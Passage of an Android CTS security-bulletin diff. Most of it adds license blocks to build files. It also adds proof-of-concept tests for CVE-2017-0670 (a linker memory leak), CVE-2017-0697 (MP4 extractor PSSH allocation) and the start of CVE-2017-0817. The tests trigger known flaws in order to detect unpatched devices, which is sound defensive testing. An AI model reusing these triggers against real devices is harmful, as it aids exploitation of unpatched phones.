diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-6731/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6731/Android.bp
index a0dd0d32..4cb05b5 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-6731/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6731/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test {
     name: "CVE-2016-6731",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-6732/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6732/Android.bp
index 1340882..10102eb 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-6732/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6732/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test {
     name: "CVE-2016-6732",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-6733/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6733/Android.bp
index 3f873b2..123c22e 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-6733/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6733/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test {
     name: "CVE-2016-6733",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-6734/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6734/Android.bp
index da5a873..a664d5c 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-6734/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6734/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test {
     name: "CVE-2016-6734",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-6735/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6735/Android.bp
index 17937c7..4b648f4 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-6735/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6735/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test {
     name: "CVE-2016-6735",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-6736/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6736/Android.bp
index d84178b..0f5053b 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-6736/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6736/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test {
     name: "CVE-2016-6736",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8425/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8425/Android.bp
index eccb0d6..bbbf743 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8425/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8425/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test {
     name: "CVE-2016-8425",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8426/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8426/Android.bp
index 75bf901..f6f688f 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8426/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8426/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test {
     name: "CVE-2016-8426",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8427/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8427/Android.bp
index ae36966..4e78056 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8427/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8427/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test {
     name: "CVE-2016-8427",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8428/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8428/Android.bp
index 631e54d..1400642 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8428/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8428/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test {
     name: "CVE-2016-8428",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8429/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8429/Android.bp
index 8b38c55..a1f6df2 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8429/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8429/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test {
     name: "CVE-2016-8429",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8430/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8430/Android.bp
index 1295d71..303dcdb 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8430/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8430/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test {
     name: "CVE-2016-8430",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8431/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8431/Android.bp
index 9e19727..31b47fb 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8431/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8431/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test {
     name: "CVE-2016-8431",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8432/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8432/Android.bp
index 9fbef08..cfea314 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8432/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8432/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test {
     name: "CVE-2016-8432",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8434/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8434/Android.bp
index 6959175..d3acc03 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8434/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8434/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test {
     name: "CVE-2016-8434",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8460/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8460/Android.bp
index 0991572..c1c40d8 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8460/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8460/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test {
     name: "CVE-2016-8460",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8479/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8479/Android.bp
index eecb3dc..326391e 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8479/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8479/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test {
     name: "CVE-2016-8479",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8482/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8482/Android.bp
index 81bae14..b11576a 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8482/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8482/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test {
     name: "CVE-2016-8482",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0333/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0333/Android.bp
index 27e8580..f247aeb 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0333/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0333/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test {
     name: "CVE-2017-0333",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0334/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0334/Android.bp
index ffd3169..32bb9a7 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0334/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0334/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test {
     name: "CVE-2017-0334",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0386/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0386/Android.bp
index edbff59..95faa49 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0386/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0386/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test {
     name: "CVE-2017-0386",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0415/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0415/Android.bp
index f7ab241..db9c363 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0415/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0415/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test {
     name: "CVE-2017-0415",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0426/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0426/Android.bp
index 339cd59..73ced42 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0426/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0426/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test {
     name: "CVE-2017-0426",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0477/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0477/Android.bp
index 1f4f071..ee72655 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0477/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0477/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test {
     name: "CVE-2017-0477",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0479/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0479/Android.bp
index 2604551..71e9361 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0479/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0479/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test {
     name: "CVE-2017-0479",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0508/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0508/Android.bp
index 9354940..17207a8 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0508/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0508/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test {
     name: "CVE-2017-0508",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0553/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0553/Android.bp
index 1a032a7..770adb9 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0553/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0553/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test {
     name: "CVE-2017-0553",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0670/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0670/Android.bp
new file mode 100644
index 0000000..581efc1
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0670/Android.bp
@@ -0,0 +1,31 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_test {
+    name: "CVE-2017-0670",
+
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+
+    srcs: [
+        "poc.c",
+    ],
+
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0670/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0670/poc.c
new file mode 100644
index 0000000..6380e92
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0670/poc.c
@@ -0,0 +1,103 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+ #include <stdlib.h>
+ #include "../includes/common.h"
+
+ //This PoC is only for 32-bit builds
+#if _32_BIT
+#include <unistd.h>
+#include <string.h>
+#include <dlfcn.h>
+
+#define MAX_STRLEN 256
+#define LOOP_COUNT 10
+#define LIB_NAME "/system/lib/libandroid.so"
+
+int runDlopenDlcloseLibraryLoop(char *libName, unsigned char count) {
+    while (count) {
+        void *lib_handle = dlopen(libName, RTLD_NOW);
+        if (!lib_handle) {
+            return EXIT_FAILURE;
+        }
+        if (dlclose(lib_handle)) {
+            return EXIT_FAILURE;
+        }
+        count--;
+    }
+    return EXIT_SUCCESS;
+}
+int getMemoryUsage(unsigned long *memUsage) {
+    char cmd[MAX_STRLEN];
+    char buf[MAX_STRLEN];
+    memset(cmd, 0, MAX_STRLEN);
+    memset(buf, 0, MAX_STRLEN);
+    sprintf(cmd, "cat /proc/%d/maps | grep anon:linker_alloc]", getpid());
+    FILE *fpMem = popen(cmd, "r");
+    if (!fpMem) {
+        return EXIT_FAILURE;
+    }
+    unsigned long totalMemUsage = 0;
+    while (fgets(buf, MAX_STRLEN, fpMem) != NULL) {
+        unsigned long mem1 = 0;
+        unsigned long mem2 = 0;
+        int numOfItemsRead = sscanf(buf, "%lx-%lx", &mem1, &mem2);
+        if (numOfItemsRead < 2) {
+            pclose(fpMem);
+            return EXIT_FAILURE;
+        }
+        totalMemUsage += mem2 - mem1;
+    }
+    pclose(fpMem);
+    *memUsage = totalMemUsage;
+    return EXIT_SUCCESS;
+}
+#endif /* _32_BIT */
+
+int main() {
+
+//This PoC is only for 32-bit builds
+#if _32_BIT
+    /* Memory usage is expected to rise during first few dlopen-dlcose pairs  */
+    /* due to linker initializations. Hence memory is not tracked during      */
+    /* first few dlopen-dlcose pairs.                                         */
+    if (runDlopenDlcloseLibraryLoop(LIB_NAME, LOOP_COUNT)) {
+        return EXIT_FAILURE;
+    }
+
+    /* The linker specific initializations should be complete. Hence Memory  */
+    /* usage is tracked from this point onwards. Further dlopen-dlcose pairs */
+    /* are not expected to increase memory usage                             */
+    unsigned long memUsageBefore = 0;
+    if (getMemoryUsage(&memUsageBefore)) {
+        return EXIT_FAILURE;
+    }
+
+    if (runDlopenDlcloseLibraryLoop(LIB_NAME, LOOP_COUNT)) {
+        return EXIT_FAILURE;
+    }
+
+    unsigned long memUsageAfter = 0;
+    if (getMemoryUsage(&memUsageAfter)) {
+        return EXIT_FAILURE;
+    }
+
+    if (memUsageBefore != memUsageAfter) {
+        return EXIT_VULNERABLE;
+    }
+#endif /* _32_BIT */
+
+    return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0697/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0697/Android.bp
new file mode 100644
index 0000000..fe0fdf4
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0697/Android.bp
@@ -0,0 +1,46 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_test {
+    name: "CVE-2017-0697",
+
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+
+    srcs: [
+        "poc.cpp",
+        ":cts_hostsidetests_securitybulletin_memutils_track",
+    ],
+
+    shared_libs: [
+        "libstagefright",
+        "libstagefright_foundation",
+        "libutils",
+        "liblog",
+        "libdatasource",
+    ],
+
+    cflags: [
+        "-Wall",
+        "-Werror",
+        "-DCHECK_MEMORY_LEAK",
+        "-DENABLE_SELECTIVE_OVERLOADING",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0697/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0697/poc.cpp
new file mode 100644
index 0000000..684d410
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0697/poc.cpp
@@ -0,0 +1,105 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include "../includes/common.h"
+#include "../includes/memutils_track.h"
+#include <android/IMediaExtractor.h>
+#include <datasource/DataSourceFactory.h>
+#include <dlfcn.h>
+#include <media/DataSource.h>
+#include <media/IMediaHTTPService.h>
+#include <media/stagefright/DataSourceBase.h>
+#include <media/stagefright/MediaExtractor.h>
+#include <media/stagefright/MetaData.h>
+
+#define LIBNAME "/system/lib64/extractors/libmp4extractor.so"
+#define LIBNAME_APEX                                                           \
+  "/apex/com.android.media/lib64/extractors/libmp4extractor.so"
+
+#define PSSH_BOX_SIZE 1048576
+char enable_selective_overload = ENABLE_NONE;
+using namespace android;
+
+bool is_tracking_required(size_t size) { return (size == PSSH_BOX_SIZE); }
+
+int main(int argc, char *argv[]) {
+  (void)argc;
+  (void)argv;
+
+#if _64_BIT
+  GetExtractorDef getDef = nullptr;
+  if (argc < 2) {
+    return EXIT_FAILURE;
+  }
+
+  void *libHandle = dlopen(LIBNAME, RTLD_NOW | RTLD_LOCAL);
+  if (!libHandle) {
+    libHandle = dlopen(LIBNAME_APEX, RTLD_NOW | RTLD_LOCAL);
+    if (!libHandle) {
+      return EXIT_FAILURE;
+    }
+  }
+
+  getDef = (GetExtractorDef)dlsym(libHandle, "GETEXTRACTORDEF");
+  if (!getDef) {
+    dlclose(libHandle);
+    return EXIT_FAILURE;
+  }
+
+  sp<DataSourceFactory> dsf = DataSourceFactory::getInstance();
+  sp<DataSource> dataSource = dsf->CreateFromURI(NULL, argv[1]);
+  if (dataSource == nullptr) {
+    dlclose(libHandle);
+    return EXIT_FAILURE;
+  }
+
+  void *meta = nullptr;
+  void *creator = nullptr;
+  FreeMetaFunc freeMeta = nullptr;
+  float confidence;
+  if (getDef().def_version == EXTRACTORDEF_VERSION_NDK_V1) {
+    creator = (void *)getDef().u.v2.sniff(dataSource->wrap(), &confidence,
+                                          &meta, &freeMeta);
+  } else if (getDef().def_version == EXTRACTORDEF_VERSION_NDK_V2) {
+    creator = (void *)getDef().u.v3.sniff(dataSource->wrap(), &confidence,
+                                          &meta, &freeMeta);
+  }
+  if (!creator) {
+    dlclose(libHandle);
+    return EXIT_FAILURE;
+  }
+
+  CMediaExtractor *ret = ((CreatorFunc)creator)(dataSource->wrap(), meta);
+  if (ret == nullptr) {
+    dlclose(libHandle);
+    return EXIT_FAILURE;
+  }
+
+  if (meta != nullptr && freeMeta != nullptr) {
+    freeMeta(meta);
+  }
+
+  sp<MetaData> metaData = new MetaData();
+  MediaExtractorCUnwrapper *mediaExtractorCUnwrapper =
+      new MediaExtractorCUnwrapper(ret);
+  enable_selective_overload = ENABLE_MALLOC_CHECK;
+  mediaExtractorCUnwrapper->getTrackMetaData(*metaData.get(), 0, 1);
+  enable_selective_overload = ENABLE_NONE;
+
+  dlclose(libHandle);
+#endif /* _64_BIT */
+
+  return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0814/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0814/Android.bp
index c70891b..31215a1 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0814/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0814/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test {
     name: "CVE-2017-0814",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
@@ -28,4 +32,3 @@
         "-DCHECK_OVERFLOW",
     ],
 }
-
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0817/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0817/Android.bp
new file mode 100644
index 0000000..89b9b43
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0817/Android.bp
@@ -0,0 +1,55 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_test {
+    name: "CVE-2017-0817",
+
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+
+    srcs: [
+        "poc.cpp",
+        ":cts_hostsidetests_securitybulletin_omxutils",
+    ],
+
+    include_dirs: [
+        "frameworks/native/include/media/openmax",
+        "frameworks/av/media/libstagefright",
+        "frameworks/native/include/media/hardware",
+    ],
+
+    shared_libs: [
+        "libstagefright",
+        "libbinder",
+        "libmedia",
+        "libmedia_omx",
+        "libutils",
+        "liblog",
+        "libui",
+        "libstagefright_foundation",
+        "libcutils",
+        "libhidlbase",
+        "libhidlmemory",
+        "libnativewindow",
+        "android.hidl.allocator@1.0",
+        "android.hidl.memory@1.0",
+        "android.hardware.media.omx@1.0",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0817/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0817/poc.cpp
new file mode 100644
index 0000000..778eef0
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0817/poc.cpp
@@ -0,0 +1,139 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "stdlib.h"
+#include "../includes/common.h"
+
+//This PoC is only for 32-bit builds.
+#if _32_BIT
+#include "../includes/omxUtils.h"
+#include <unistd.h>
+#include <hidlmemory/mapping.h>
+
+extern bool mUseTreble;
+sp<IAllocator> mAllocator = IAllocator::getService("ashmem");
+
+void exit_handler(void) {
+    omxUtilsFreeNode();
+}
+
